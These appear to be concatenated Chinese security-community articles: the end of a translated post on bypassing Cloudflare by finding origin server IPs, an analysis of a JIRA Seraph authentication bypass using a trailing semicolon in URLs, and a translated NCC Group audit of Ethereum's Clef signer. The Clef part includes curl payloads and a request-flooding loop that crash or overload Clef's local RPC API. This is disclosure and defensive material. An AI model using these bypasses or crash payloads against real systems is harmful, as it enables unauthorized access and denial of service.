Netcraft: <https://toolbar.netcraft.com/site_report?url=>
dns-trails: <https://securitytrails.com/dns-trails>
DNSQueries: <https://www.dnsqueries.com/en/domain_check.php>
DNSdumpster: <https://dnsdumpster.com/>
Shodan: <https://www.shodan.io/search?query=>
以往关于Hackerone的案例报告：
<https://hackerone.com/reports/255978>
<https://hackerone.com/reports/360825>
<https://hackerone.com/reports/315838>
# 总结
正如我们在安全行业常说的那样:一根链条的坚固程度取决于它最薄弱的一环。。无论您花了多少时间来配置Cloudflare，如果它可以被绕过，并且如果您的web应用程序可以通过服务器IP直接访问，那么Cloudflare提供的所有保护都将被绕过。
可能还有很多其他的方式来执行这个绕过任务，如果你有idea，请随时在评论中或通过Twitter私信我。我会非常乐意将它们添加到我的博客中。
根据Soroush Dalili的说法，能够绕过Cloudflare可以被认为是安全配置错误，因此值得警惕。
作者
Gwendal Le Coguic
Bug Bounty Hunter
Twitter:[ @gwendallecoguic](https://twitter.com/gwendallecoguic "
@gwendallecoguic")
Blog: <http://10degres.net>
# 更多关于此类型的博客
<https://rhinosecuritylabs.com/cloud-security/cloudflare-bypassing-cloud-security/>
<http://www.securityidiots.com/Web-Pentest/Information-Gathering/Cloudflare-Bypass/Part-2-Cloudflare-Security-Bypass.html>
<http://www.chokepoint.net/2017/10/exposing-server-ips-behind-cloudflare.html>
<https://blog.christophetd.fr/bypassing-cloudflare-using-internet-wide-scan-data/>
<https://www.cloudflare.com/ips/>
<https://twitter.com/gwendallecoguic/status/1043484797799223297>
<https://twitter.com/gwendallecoguic/status/1113777240876228609>
原文：https://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/ | 社区文章 |
**作者：且听安全
原文链接：<https://mp.weixin.qq.com/s/3EWju-IdsTfK7COKOK-c-w>**
## 漏洞信息
JIRA 存在 Seraph 组件认证绕过漏洞，影响范围广泛：
根据官方描述，大批量的默认和第三方插件受到影响：
## 关于Seraph Filter
对于认证绕过，猜测问题可能出现在 Filter 过滤上，JIRA 内部封装了数量较为庞大的 Filter 列表：
由于漏洞出现在`Seraph`模块，挨个查看 Filter
类，发现`JiraSecurityFilter`引用了`com.atlassian.seraph`包：
在`doFilter`中调用`super.doFilter`，即`SecurityFilter.doFilter`：
`Security.doFilter`根据客户端请求用户权限进行检查，进一步判定是否需要认证，`needAuth`变量很容易引起注意：
通过动态调试可知有 3
种服务进行检查，即`JiraPathService`、`WebworkService`和`JiraSeraphSecurityService`：
`JiraPathService`用于处理`/secure/admin/`请求，需要管理员访问：
`WebworkService`从`actions.xml`文件`webwork`中读取权限定义：
其`getRequiredRoles`函数代码如下：
最后是`JiraSeraphSecurityService`，从插件`Atlassian-plugin.xml`文件中读取`webwork`接口权限定义：
动态调试可知经过多次`getRequiredRoles`函数执行，最后调用了`WebworkPluginSecurityServiceHelper.getRequiredRoles`函数，而且这个函数代码与`WebworkService.getRequiredRoles`相同：
该函数从`request`请求中提取 URI ，搜索最后一个`/`所在的位置，提取接口名称得到`targetURL`。如果 URL
输入为`/secure/PerformOAuth2Authorization.jspa`，那么`targetURL`为`PerformOAuth2Authorization.jspa`：
在`actionMapper`中搜索对应的`Action`名称，这里得到为`PerformOAuth2Authorization`：
根据`rolesMap`得到接口的权限为`admin`，接口需要管理员登录：
介绍完功能代码，最后还要重点 Mark 一下，`getRequiredRoles`中获取 URL 的方式为`getRequestURI`：
### *.jspa的处理
查看`atlassian-jira/WEB-INF/web.xml`文件`Servlet`定义，`*.jspa`由`com.atlassian.jira.web.dispatcher.JiraWebworkActionDispatcher`处理：
`JiraWebworkActionDispatcher.service`函数从请求中获取`Action`名称：
使用`/`和`.jspa`切割字符串获取`ActionName`，如果 URL
输入`/secure/PerformOAuth2Authorization.jspa`，那么 Action
为`PerformOAuth2Authorization`，注意到使用`getServletPath`函数：
在`executeAction`函数中进行`Action`检查：
`Action`工厂列表如下：
再一次 Mark ，`GetActionName`中使用了`getServletPath`函数。
### Seraph Filter认证绕过
通过前边的分析，我们能够得知`Seraph`组件在 Filter 中使用`getRequestURI`提取 URL ，而 Servlet
中使用`getServletPath`，有经验的小伙伴应该很快意识到存在一个典型的认证绕过场景。
简单的来说就是如果 URL
中包含`;`，`getServletURI`结果会将分号保留，但`getServletPath`会自动将分号删除。以发送`/secure/PerformOAuth2Authorization.jspa;`为例，
`Seraph` 组件 Filter 中调用显然找不到`PerformOAuth2Authorization.jspa;`对应的 Action ，从而进入
Servlet 处理，相当于完成了 Filter 层面的认证绕过：
`getActionName`获取的结果示例如下：
### 利用WebWork绕过插件认证
绕过`Seraph`组件`Filter`后，可以看到回复报文存在差异，但是还是需要认证：
调试后发现在执行`LookupAliasActionFactoryProxy`时同样读取了`PerformOAuth2Authorization`权限并进行检查：
同时其他`Factory`可能检查`Xsrf`、`checkWebSudoStatus`等要素：
直接查找官方文档，在编写插件时可以使用`webwork1`元素添加`roles-required`属性：
Atlassian 插件通常为 jar 或者 ocr 格式，为了验证绕过，根据官方发布的插件影响列表下载 Insight 8.9.10
版本，找到一个`webwork1`元素：
成功绕过后台限制：
### 受影响的其他页面
JIRA 默认组件中一些可能绕过的功能，（尚未调试分析每个接口功能）：
还有很多其他 URL ，需要绕过 XSRF：
部分接口可通过请求直接返回错误栈：
### 修复方式
典型的插件修补过程：
* * * | 社区文章 |
翻译：玄猫安全团队-Javierlev & Tri0nes
原文：`https://github.com/ethereum/go-ethereum/blob/master/docs/audits/2018-09-14_Clef-audit_NCC.pdf`
近期，以太坊`go-ethereum`公开了两份审计报告，玄猫安全团队第一时间对其进行了翻译工作。此为第二篇《Ethereum Clef
Review》即`2018-09-14_Clef-audit_NCC`，此审计报告完成时间为2018年9月14日。
如果您正在使用的是较旧版本的 `go-ethereum`，强烈建议升级至最新版本，以免遭受不必要的损失。
## 1.1. 概述
在2018年9月初，以太坊基金会委托`NCC
Group`对Clef命令行界面进行代码审计。代码位于`https://github.com/holiman/go-ethereum/tree/70cfedc9d7bd64f1f112eb2099a5c36266863f40/cmd/clef`。以下为审计详情。
标题 | ID | 风险
---|---|---
Clef备份加密不完全 | 002 | 中危
缺少密码强度检查 | 005 | 中危
交易数据字段验证失败 | 007 | 中危
由不正确的方法Selector导致的拒绝服务 | 010 | 中危
secrets.dat权限不当 | 001 | 低危
键值对加密存储的加密值可交换 | 003 | 低危
暴露的Clef API 缺少指引 | 004 | 低危
ECRecover不会对恢复的公钥进行身份验证 | 009 | 低危
过时的依赖关系 | 011 | 低危
规则依赖于时间和状态存在危险性 | 012 | 低危
通过格式错误的导入密钥拒绝服务 | 013 | 低危
加密密钥库完整性检查不完整 | 014 | 低危
UI混合了无关和特定允许的数据 | 006 | 建议
## 1.2. Clef备份加密不完全
### 1.2.1. 风险: 中危
影响性：高，可利用性： 低
### 1.2.2. 标识
NCC-EF-Clef-002
### 1.2.3. 分类
认证
### 1.2.4. 位置
* cmd/clef/main.go:initializeSecrets()
### 1.2.5. 影响
一个能够入侵用户设备的攻击者可以任意访问Clef的加密备份
### 1.2.6. 描述
`Clef`在硬盘中存储了大量文件，如包含账户密码的`credentials.json`，包含`JavaScript`规则文件哈希的`config.json`等文件。通过这些文件可以恢复私钥。这些文件均由一个随机数种子派生的密钥来加密，且这个随机数种子是明文保存在硬盘里的`secrets.dat`文件中。
一个能够访问`secrets.dat`和`credentials.json`的攻击者可以任意访问账户及其资产。因此，一个没有硬盘加密保护的设备如果被物理入侵，将会泄露所有存储在`Clef`加密备份中的信息。当运行中的设备被远程控制时，将会使威胁到休眠的Clef应用，无论此时是否进行了硬盘加密。此外，将这些文件备份或拷贝到另一个位置也会使危及用户的账号安全。
### 1.2.7. 修复建议
强制使用密码来启动Clef命令行接口。并将此机制用在`go-ethereum/accounts/keystore`来保护`secret.dat`文件。
## 1.3. 缺少密码强度检查
### 1.3.1. 风险: 中危
影响性：中，可利用性：低
### 1.3.2. 标识
NCC-EF-Clef-005
### 1.3.3. 分类
认证
### 1.3.4. 位置
* signer/core/api.go:New()
### 1.3.5. 影响
一个攻击者能够猜解不安全的用户密码，或者对用户弱密码进行爆破。这会导致攻击者获取用户以太坊账户的私钥。
### 1.3.6. 描述
`Clef CLI`能够被用于创建和管理以太坊外部拥有的账号。账户的创建过程可以通过发送下面的RPC请求给Clef来实现。(如果运行时加上--rpc选项)
curl -H "Content-Type: application/json" -X POST --data '{"jsonrpc":"2.0", \
"method":"account_new","params":["test"],"id":67}' localhost:8550
运行`Clef`的用户将会被要求输入用于保护账户私钥的密码。在这时，用户能够输入一个任意长度的密码(空密码也将会被接受)。对于可以物理入侵或者远程入侵的攻击者来说，他们将更容易地恢复用户私钥。
### 1.3.7. 修复建议
强制规定最小密码长度。`NIST`组织已经出版了相关主题的[文档](https://pages.nist.gov/800-63-3/)，推荐设置最小8个字符长度的密码。除此之外，检查已知的不符合规范的密码。关于不符合规范的密码参考[NIST
Bad passwords](https://cry.github.io/nbp/)
### 1.3.8. 客户反馈
Clef现在已经强制使用最小10位的密码： `github.com/holiman/go-ethere
um/commit/193f7049719a2da9018027853d0c2237cdad602b`
### 1.3.9. 参考资料
`https://pages.nist.gov/800-63-3/`
NIST Bad Passwords:`https://cry.github.io/nbp/`
## 1.4. 交易数据字段验证不当
### 1.4.1. 风险: 中危
影响性：中，可利用性：低
### 1.4.2. 标识
NCC-EF-Clef-007
### 1.4.3. 分类
数据验证
### 1.4.4. 位置
* signer/core/{abihelper,validation}.go
### 1.4.5. 影响
恶意构造的数据字段能够允许攻击者欺骗签名者的目的
### 1.4.6. 描述
当接收交易签名的请求时，在将请求传递给用户之前，`Clef`会先进行一些验证检查。如果一个特殊的参数被传递给一个请求(方法的签名)，程序会试图匹配数据字段。数据字段必须由4个字节的标志和32倍数的字节组成，且该4个字节的标志用于函数调用(方法签名的哈希值会被截断成4个字节):
func parseCallData(calldata []byte, abidata string) (*decodedCallData, error) {
if len(calldata) < 4 {
return nil, fmt.Errorf("Invalid ABI-data, incomplete method signature of (%d bytes)", \
len(calldata))
}
sigdata, argdata := calldata[:4], calldata[4:] // 进行截断
if len(argdata)%32 != 0 { // 32的倍数
return nil, fmt.Errorf("Not ABI-encoded data; length should be a multiple of 32 (was %d)", \
len(argdata))
}
如果在请求中，没有方法签名作为参数被传递给Clef，这里的检查就不会进行。这是因为方法签名不是以太坊虚拟机的特性，它是`Solidity-specfic`特性。如果检查失败，`Clef`会中止传递请求，并且发出警告:
info, err = testSelector(*methodSelector, data)
if err != nil {
msgs.warn(fmt.Sprintf("Tx contains data, but provided ABI signature
could not be matched: %v", err))
}
由于`Clef
CLI`的用户不会总是传递一个方法签名，或者不能理解关于`ABI`签名检查相关的警告，`Clef`的行为可能使用户快速关闭警告(这被称为警告疲劳)，由于这个原因，恶意的DAPP可以通过[短地址攻击](https://www.dasp.co/#item-9)或者构造畸形的calldata数据来实施攻击。
### 1.4.7. 修复建议
当一个方法签名被传递，数据字段格式应该总是指定长度为`4+k×32`，其中`k≥0`。如果不是方法签名被传递，`Clef`不应该把请求传递给用户。当一个方法签名不被传递且数据字段不为空时，它的格式也应该根据之前讨论的编码来进行检查。如果验证失败，`Clef`应该拒绝该交易(用于简化验证过程或列入白名单的合约地址不在此列)。如果非标准的交易需要默认支持，用户应该收到警告，提示该交易不是标准格式。
### 1.4.8. 客户反馈
现在验证过程中，当拒绝交易时，默认返回警告信息，且增加一个特殊的模式用来绕过这个行为: `github.com/holiman/go-ethereum/commit/193f7049719a2da9018027853d0c2237cdad602b`
### 1.4.9. 参考资料
`https://www.dasp.co/#item-9`
## 1.5. 由不正确的方法Selector导致的拒绝服务
### 1.5.1. 风险: 中危
影响性：低，可利用性：低
### 1.5.2. 标识
NCC-EF-Clef-010
### 1.5.3. 分类
数据验证
### 1.5.4. 位置
* signer/core/abihelper.go:parseCallData()
* accounts/abi/abi.go:JSON()
### 1.5.5. 影响
一个可以访问`Clef API`的攻击者能够使应用崩溃
### 1.5.6. 描述
在一些用例中，Clef持续地运行，并且根据用户编写的规则来接收请求。在一些场景中，应用崩溃会使得在应用重启之前，合法的交易不被处理。
`account_signTransaction`API处理签名请求的交易。为了提供有用的信息给用户，发起请求的终端能够提供被调用的函数方法的签名(防止交易导致合约执行)。如果方法签名是畸形的，Clef将会崩溃。下面这个正则匹配用于验证用户的输入:
// MethodSelectorToAbi converts a method selector into
// an ABI struct. The returned data is a valid json string
// which can be consumed by the standard abi package.
func MethodSelectorToAbi(selector string) ([]byte, error) {
re := regexp.MustCompile(`^( [^\)] +) \( ([a-z0-9,\[\]] *)\)`)
groups := re.FindStringSubmatch(selector)
该正则表达式期望方法签名为如下格式:
functionName(uint256, string, address)
使用黑名单而不是白名单过于自由。这样的过度接受策略将会使得用户可以输入如下内容：
* 函数名可以是除`\`和`)`的任意字符
* 参数可以是字母数字的或包含`[`与`]`的字符串，但是不需要强制是语法上的正确方括号
* 参数列表能够以`,`结束和开始
* 函数签名的结尾可以包含任何字符
这意味着根据当前的检查规则，下面的函数签名是有效的：
call(a,a],bbbb932[,)
#@#((@$!(uint256) anything
### 1.5.7. 复现步骤
在终端运行下面的命令，调用本地RPC接口`localhost:8550`，并且能够观察到`Clef`程序崩溃。
curl -i -H "Content-Type: application/json" -X POST --data '{"jsonrpc":"2.0", \
"method":"account_signTransaction","params":[ \
{"from":"0x82A2A876D39022B3019932D30Cd9c97ad5616813", \
"gas":"0x333","gasPrice":"0x123","nonce":"0x0", \
"to":"0x07a565b7ed7d7a678680a4c162885bedbb695fe0", \
"value":"0x10", "data":"0x4401a6e40000000000000000000000000000000000000000000000000000000000000012"}, "func(uint256,uint256,[]uint256)"],"id":67}' http://localhost:8550/
以下的方法签名均会使应用崩溃:
func(uint256,uint256,[]uint256)
func(uint256,uint256,uint256,)
func(,uint256,uint256,uint256)
### 1.5.8. 修复建议
为了解决这个问题:
1. 研究`abi`的`JSON`解码器并且找到错误的根源。
2. 在进行操作之前，进一步验证接收到的方法签名
### 1.5.9. 客户反馈
引入一个PR来修复这个bug: `github.com/ethereum/go-ethereum/pull/17653`
## 1.6. secrets.dat权限不当
### 1.6.1. 风险: 低危
影响性：高，可利用性：低
### 1.6.2. 标识
NCC-EF-Clef-001
### 1.6.3. 分类
配置不当
### 1.6.4. 位置
* 权限设置initializeSecrets()，`cmd/clef/main.go`第228行
* 权限检查`checkFile()`,`cmd/clef/main.go`第550行
### 1.6.5. 影响
`master`种子可能被删除或者覆盖，导致不能访问账户密码和`JavaScript`的规则文件哈希
### 1.6.6. 描述
`secrets.dat`文件包含了`master`种子，在存储和查询账户密码和`JavaScript`规则文件哈希值的时候需要用到这个种子。在实际中，这个文件只写一次，包含了重要的根密码，需要得到最大限度的保护。
`Master`种子生成和存储是`initializeSecrets()`的主要目的，该函数位于`cmd/clef/main.go`中。在代码228行，当权限设置为700时，可以进行写入硬盘的操作。权限700对应着拥有者的所有权限——读，写，执行。这样做的结果是，拥有者能够轻易地删除或者覆盖这个文件，从而导致不能访问存储的内容。原则上，这个拥有者还能够进行执行操作。
位于`cmd/clef/main.go`的`checkFile()`函数的主要目的是检查文件`secrets.dat`的权限。在代码550行，文件权限是读。将权限模式与077进行与运算，并且检查结果是否为0——任何非0结果将会报错。这与上面描述的`initializeSecrets()`确认存储权限设置是一致的。
对于`secrets.dat`，写权限和执行权限不应该被设置。对于`secrets.dat`文件的处理可以类比处理`SSH
keys`的[方法](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html#troubleshoot-unprotected-key)。
分开来看，账户密码存储在`credentials.json`中，`JavaScript`规则文件哈希存储在`config.json`中。通过位于`signer/storageaes_gcm_storage.go`的`writeEncryptedStorage`函数，将它们的文件权限设置为600。这被认为合适的，这是因为读/写的本质，键值对的存储，实际上内容应该总是由`root
secret`来加密。
### 1.6.7. 修复建议
在`initializeSecrets()`中，`secrets.dat`的文件权限应该被设置为400(而不是700)。为了保持一致性，在`checkFile()`中，`secrets.dat`的文件权限应该是和377(而不是077)进行与运算。
### 1.6.8. 参考资料
`https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html#troublesho
ot-unprotected-key`
## 1.7. 键值对加密存储的加密值可交换
### 1.7.1. 风险: 低危
影响性：低，可利用性：低
### 1.7.2. 标识
NCC-EF-Clef-003
### 1.7.3. 分类
加密
### 1.7.4. 位置
* signer/storage/aes_gcm_storage.go
### 1.7.5. 影响
一个能够加密备份文件的攻击者能够交换用户的`keystore`的密文。这将会导致弱攻击(比如确认不同的私钥是否被同一个密码保护)，或者其他未知的依赖于Clef规则的复杂攻击
### 1.7.6. 描述
Clef命令行接口以加密的形式存储这下面的数据，目的是为了加快应用重启后的恢复速度:
* `keystores`的密码(用于规则引擎)
* `javascript`规则的存储
* 规则文件的哈希
存储和加密是通过一个键值对存储的，只有值是通过`AES-GCM`来进行加密:
// Put stores a value by key. 0-length keys results in no-op
func (s *AESEncryptedStorage) Put(key, value string) {
// ...
ciphertext, iv, err := encrypt(s.key, []byte(value))
// ...
encrypted := storedCredential{Iv: iv, CipherText: ciphertext}
data[key] = encrypted
// ...
}
键值对接下来被编码成`JSON`格式，并且保存在硬盘中，示例如下:
{
"key1": {
"iv": "IQZYrnH0YjbcLmBD",
"c": "oP2S7Li+YYPt2vQcfDgUlc/QaIk="
},
"key2": {
"iv": "OVilp+zm+OvgH7Vm",
"c": "DP7kmTyJR89nTMb1mfRPokIYRpg="
}
}
一个拥有恰当权限访问这些文件的攻击者能够篡改内容，交换`key1`和`key2`的内容，这样会使得读取`key1`值的时候，获取到`key2`的值
### 1.7.7. 修复建议
导入在`Seal()`和`Open()`函数的`additionalData`字段，主要部分键值对。详情查看[ciper
package](https://golang.org/pkg/crypto/cipher/)
### 1.7.8. 客户反馈
代码中添加了键值对的主要部分作为`AES-GCM`额外的数据:`https://github.com/holiman/go-ethereum/commit/913f77ca8c5c08749b9d668adeb1ab02bbc30663`
### 1.7.9. 参考资料
`https://golang.org/pkg/crypto/cipher/`
## 1.8. 暴露的 Clef API 缺乏指引
### 1.8.1. 风险：低危
影响性：低，可利用性：不确定
### 1.8.2. 标识
NCC-EF-Clef-004
### 1.8.3. 分类
拒绝服务
### 1.8.4. 位置
* cmd/clef/main.go
### 1.8.5. 影响
有权访问 `Clef API` 的攻击者不断发送大量垃圾请求到接口上使其失效，导致用户强制重新启动应用程序才能处理合法请求。
### 1.8.6. 描述
有权访问 Clef 的公共 API 的攻击者（例如通过暴露在互联网的RPC接口）可以通过快速发送垃圾请求，导致产生大量需要用户按顺序手动处理进程。
如果执行此类攻击，最终用户将无法继续正常操作，除非重启程序。
此外，通过以太坊的RPC协议完成的请求未加密。虽然大多数API请求和响应最终可能都会发布在以太坊网络上，但“account_sign”方法（旨在为不同目的签署任意数据）还是应该被保密。
### 1.8.7. 复现步骤
使用 Clef 程序运行下面的`bash`脚本，将 RPC 接口暴露在 `localhost:8550`，然后可以观察到Clef
用户需要一个一个地接收请求。
for i in {1..100}
do curl --no-buffer -H "Content-Type: application/json" -X POST --data \
'{"jsonrpc":"2.0","method":"account_new","params":["test"],"id":67}' localhost:8550 &
done
kill $(jobs -p)
### 1.8.8. 修复建议
对连接进行加密（通过TLS）并向Clef API验证客户端。或者，将这些任务委派给较低层协议或前端代理，或者添加文档用于警告用户不要将Clef的API暴露。
## 1.9. ECRecover不会对恢复的公钥进行身份验证
### 1.9.1. 风险：低危
影响性：不确定，可利用性：不确定
### 1.9.2. 标识
NCC-EF-Clef-009
### 1.9.3. 分类
加密
### 1.9.4. 位置
* signer/core/api.go
### 1.9.5. 影响
根据此请求的使用情况，签名可能会被篡改从而恢复错误的公钥。
### 1.9.6. 描述
`Clef
API`公开了一种`EcRecover`方法，该方法允许从签名消息中恢复以太坊公钥。该方法实现了椭圆曲线密码学的高效密码组标准文档中的算法4.1.6（公钥恢复操作）。
如算法规范所述，可以从签名中恢复几个公钥。
这是由于`ECDSA`签名算法从签名的`r`值中删除了一些信息：只保留了x坐标（对于y坐标可以恢复2个解）并且它以椭圆曲线的顺序进一步减小。 而以太坊使用了
`secp256k1`，其曲线顺序略低于场模量，因此确实丢失了信息。曲线使用辅助因子1，则算法的可能解决方案的数量是2×（1 + 1）= 4。
为了使恢复算法恢复正确的结果，在每个以太坊签名的末尾都添加一个v字节。其最低有效位包含r值的y坐标的符号，其余位包含用于重新计算r值的x坐标的信息。
由于这些位可能被篡改，攻击者在某些情况下可能会通过导入错误的公钥来欺骗算法。
### 1.9.7. 修复建议
为了验证恢复的密钥，Clef需要：
1. 验证密钥是否可用于验证请求中传递的签名。 这是SEC算法的步骤1.6.2，Clef没有实现。
2. 将恢复的公钥与以太坊地址或其他身份验证机制进行匹配。
为了防止这些攻击，需要更改Clef的API以接受额外的“身份验证”参数。
### 1.9.8. 客户反馈
ECRecover 方法已经从Clef API 移除：github.com/holiman/go-ethereum/commit/cf3bf1724e58cc85ec87cb39a0aee0cb246c472e
[SEC 1: Elliptic Curve Cryptography version
2.0](http://www.secg.org/sec1-v2.pdf)
## 1.10. 过时的依赖关系
### 1.10.1. 风险：低危
影响性：不确定，可利用性：不确定
### 1.10.2. 标识
NCC-EF-Clef-011
### 1.10.3. 分类
修补
### 1.10.4. 位置
* signer/rules/deps/bignumber.js found at
* `https://github.com/holiman/go-ethereum/blob/clefchanges_2/signer/rules/deps`
* `https://github.com/ethereum/go-ethereum/blob/master/signer/rules/deps`
* vendor/vendor.json found at
* `https://github.com/holiman/go-ethereum/blob/clefchanges_2/vendor`
* `[github.com/ethereum/go-ethereum/blob/master/vendor](https://github.com/ethereum/go-ethereum/blob/master/vendor)`
Impact Outdated dependencies may expose the application to publicly discovered
vu
### 1.10.5. 影响
过时的依赖项可能会将应用程序暴露给公开发现的漏洞。
### 1.10.6. 描述
迄今为止，许多最大的漏洞都依赖于利用过时组件中的已知漏洞。`Clef`和`Go-ethereum`
代码库从许多过时的组件中提取，尽管目前没有众所周知的漏洞。风险与组件功能和数据敏感性，开发活动和质量，流行度以及项目依赖性更新之间的时间长度成正比。由于此问题普遍存在，OWASP项目在《十大最关键Web应用程序安全风险》中列出了此风险。
`signer/rules/rules.go` 代码利用
`signer/rules/deps/bindata.go`实质上加载`bignumber.js`库，用于任意精度的十进制和非十进制算术。
该库的源代码是`signer/rules/deps/bignumber.js`，版本为2.0.3。
此项目的更改日志表示此版本于2015年2月发布，而最新版本为7.2.1。NCC Group 不知道此库中存在任何公开已知的漏洞。
`vendor/vendor.json` 文件列出了大约154个Golang依赖项，其修订时间戳从2015年初到2018年8月。其中大部分已过期且可以更新。
例如，来自`https://github.com/huin/goupnp`的Go存储库的UPnP客户端库的七个组件，其提交哈希值为`679507af18f3c7ba2bcc7905392ce23e148661c3`，于2016年12月提交，即11个提交已过期。
### 1.10.7. 修复建议
将项目依赖项更新为建议用于生产部署的最新且稳定的版本。作为开发过程的一部分，包括定期审查依赖性更新情况。
### 1.10.8. 参考资料
`https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf`
`https://github.com/MikeMcl/bignumber.js/blob/master/CHANGELOG.md`
## 1.11. 规则依赖于时间和状态存在危险性
### 1.11.1. 风险：低危
影响性：中，可利用性：低
### 1.11.2. 标识
NCC-EF-Clef-012
### 1.11.3. 分类
配置
### 1.11.4. 位置
* cmd/clef/rules.md
### 1.11.5. 影响
存在改变`Clef`状态和时间访问的攻击。如果成功安装，它们将允许攻击者恢复`Clef`规则使用的状态或改变`Clef`所看到和使用的时间。这最终可能允许有权访问`Clef`接口的攻击者移除规则上的某些限制。
var windowstart = new Date().getTime() - window;
攻击者存在不同的方式来影响设备运行时间而不是系统上的root用户：
1. 如果在日期程序中设置了`CAP_SYS_TIME` 功能，则任何用户都可以更改时间。
2. 如果攻击者在网络中具有特权中间位置，她可以攻击NTP协议以改变设备的时间。
此外，为了在执行规则之间保持状态，Clef保留加密的键值存储（jsStorage）。特定攻击可能允许攻击者改变此状态并删除一些限制（例如，如果布尔值设置为阻止进一步的交易事务，则恢复状态将允许交易事务再次流动）：
1. 如果攻击者具有对计算机的物理访问权限，则可以将其重新设置为以前的快照。
2. 如果攻击者拥有`jsStorage`的文件权限，她可以记录更改并将文件还原到以前的某个时间点。
这些攻击可能允许攻击者阻止某些规则正常工作，或者更糟糕的是，攻击者直接访问Clef的API，让钱包中的金钱流失。
### 1.11.6. 修复建议
这一发现强调了运行Clef的系统的安全性至关重要。应根据涉及的程度，为不同类型的用户提供不同的建议。可以编写不同的威胁模型，记录Clef防范和不防范的内容。最终，很难防御来自强大对手的这些类型的高度针对性的攻击，它们应该超出Clef的威胁模型。
### 1.11.7. 参考资料
cmd/clef/rules.md
`http://man7.org/linux/man-pages/man7/capabilities.7.html`
`https://www.cs.bu.edu/~goldbe/NTPattack.html`
## 1.12. 通过格式错误的导入密钥拒绝服务
### 1.12.1. 风险：低危
影响性：中，可利用性：低
### 1.12.2. 标识
NCC-EF-Clef-013
### 1.12.3. 分类
数据验证
### 1.12.4. 位置
* accounts/keystore/keystore_passphrase.go
### 1.12.5. 影响
一个可以访问API或拥有特权中间人位置的攻击者，可能会制造恶意导入请求或篡改它们，以便在不提醒用户的情况下使应用程序崩溃或更改导入的密钥。
### 1.12.6. 描述
`Clef`
的API公开了一种“导入”方法，允许请求导入已有的帐户。此导入方法接受一个加密密钥作为参数，必须以特定格式格式化。`Clef`接受两种不同的加密方法格式：版本1和版本3。处理密钥导入的大多数代码都假定请求传递的参数是可信的，这可能是因为在实践中，无法编写规则来处理此方法——用户必须手动接受导入请求。以下代码路径都存在问题：
1）导入私钥。
导入流程最终调用`crypto.ToECDSAUnsafe()`方法，如所示，“如果盲目地将二进制blob转换为私钥。它们几乎不会被使用，除非您确定输入的有效性并且避免由于错误的原编码而导致错误（0前缀会被截断）”。
2）JSON解析。
JSON对象中的几个字段，在没有事先检查它们是否存在的情况下进行恢复操作。用于恢复KDF参数的`getKDFKey()`函数不会将空内容映射视为`cryptoJSON.KDFParams`，如果给定一个，则会崩溃。此外，一般以整数作为KDF对象的字段，但即使给定字符串，它也没有进行判断。
3）KDF参数。
可以通过向密钥导出函数提供极大的参数导致拒绝服务，这将迫使程序计算无法进行的加密操作。
4）经过身份验证的加密。
在尝试对导入的密钥进行解密之前，密钥库将验证密文的完整性，以便检测来自中间攻击者的任何篡改。此完整性检查不包括IV，并且不会在恒定时间内完成。这可能允许攻击者篡改IV，使得用户解密错误的私钥，并且没有Clef给出的任何警报（即使恢复的“地址”不同于在请求中作为参数传递的“地址”字段）。
5）解密。
导入器的版本1将使用`AES-CBC`来解密接收到的密钥，特别是低级`CryptBlocks`函数，将多个`blocksize`作为参数。否则，该功能将会出现`panic`报错。
### 1.12.7. 复现步骤
将 Clef 程序的 RPC 接口暴露在 `localhost:8550`，然后在命令行窗口执行下面的命令，可以观察到 Clef 程序奔溃。
curl -i -H "Content-Type: application/json" -X POST \
--data '{"jsonrpc":"2.0","method":"account_import", \
"params":[{"version":"1","address":"string", \
"id":"string","crypto":{"cipher":"","ciphertext":"", \
"cipherparams":{"iv":""},"kdf":"", \
"kdfparams":{},"mac":""}}],"id":67}' http://localhost:8550/
下面的 payloads 也能够导致程序奔溃。
{"version":"1","address":"string","id":"string","crypto": \
{"cipher":"","ciphertext":"","cipherparams":{"iv":""},"kdf":"", \
"kdfparams":{"salt":"","dklen":"","n":"","r":"","p":"","c":"", \
"prf":""},"mac":""}}
{"version":"1","address":"string","id":"string","crypto": \
{"cipher":"","ciphertext":"01","cipherparams":{"iv":""}, \
"kdf":"pbkdf2","kdfparams": \
{"salt":"","dklen":5,"n":5,"r":5,"p":5,"c":5, \
"prf":"hmac-sha256"}, \
"mac":"32f2f344a0bdf0434df8d3c3fd2afd043c1a26b969bb7c448abd67a4af27ae03"}}
### 1.12.8. 修复建议
在文档中详细说明导入API必须只接收可信任的和通过验证的输入。 此外，还要解决这一发现中强调的问题。
此外，请考虑从Clef的API中删除Import方法。
## 1.13. 加密的密钥库完整性检查不完整
### 1.13.1. 风险：低危
影响性：低，可利用性：低
### 1.13.2. 标识
NCC-EF-Clef-014
### 1.13.3. 分类
密钥存储
### 1.13.4. 位置
* accounts/keystore/keystore_passphrase.go
### 1.13.5. 影响
攻击者可以篡改钱包备份，而不会提醒用户，在尝试使用钱包密钥之前，用户不会意识到攻击。
### 1.13.6. 描述
`Go-Ethereum`的密钥库包具有导出的`EncryptKey()`方法，能够以加密形式存储钱包。此加密使用从用户已知的密码短语派生的密钥。作为完整性检查的一种方法，为了确保加密密钥的备份没有被篡改，密钥库通过密文计算消息认证码（MAC），如下所示：
// EncryptKey encrypts a key using the specified scrypt parameters into a json
// blob that can be decrypted later on.
func EncryptKey(key *Key, auth string, scryptN, scryptP int) ([]byte, error) {
// ...
derivedKey, err := scrypt.Key(authArray, salt, scryptN, scryptR, scryptP, scryptDKLen)
// ...
iv := make([]byte, aes.BlockSize) // 16
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
panic("reading from crypto/rand failed: " + err.Error())
}
cipherText, err := aesCTRXOR(encryptKey, keyBytes, iv)
// ...
mac := crypto.Keccak256(derivedKey[16:32], cipherText)
此完整性检查不包括加密/解密过程的重要部分，允许攻击者在不必修改密文的情况下篡改它。由于加密的内容具有高熵，因此不能执行强攻击。
### 1.13.7. 修复建议
使用经过身份验证的密码，如`AES-GCM`，它将加密与完整性检查编译为单个算法。
## 1.14. UI混合了无关和特定允许的数据
### 1.14.1. 风险：建议
影响性：不确定，可利用性：不确定
### 1.14.2. 标识
NCC-EF-Clef-006
### 1.14.3. 分类
数据有效性
### 1.14.4. 位置
* signer/core/cliui.go
### 1.14.5. 影响
攻击者可以通过在 Clef UI 中显示攻击者控制的信息来对用户进行网络攻击。
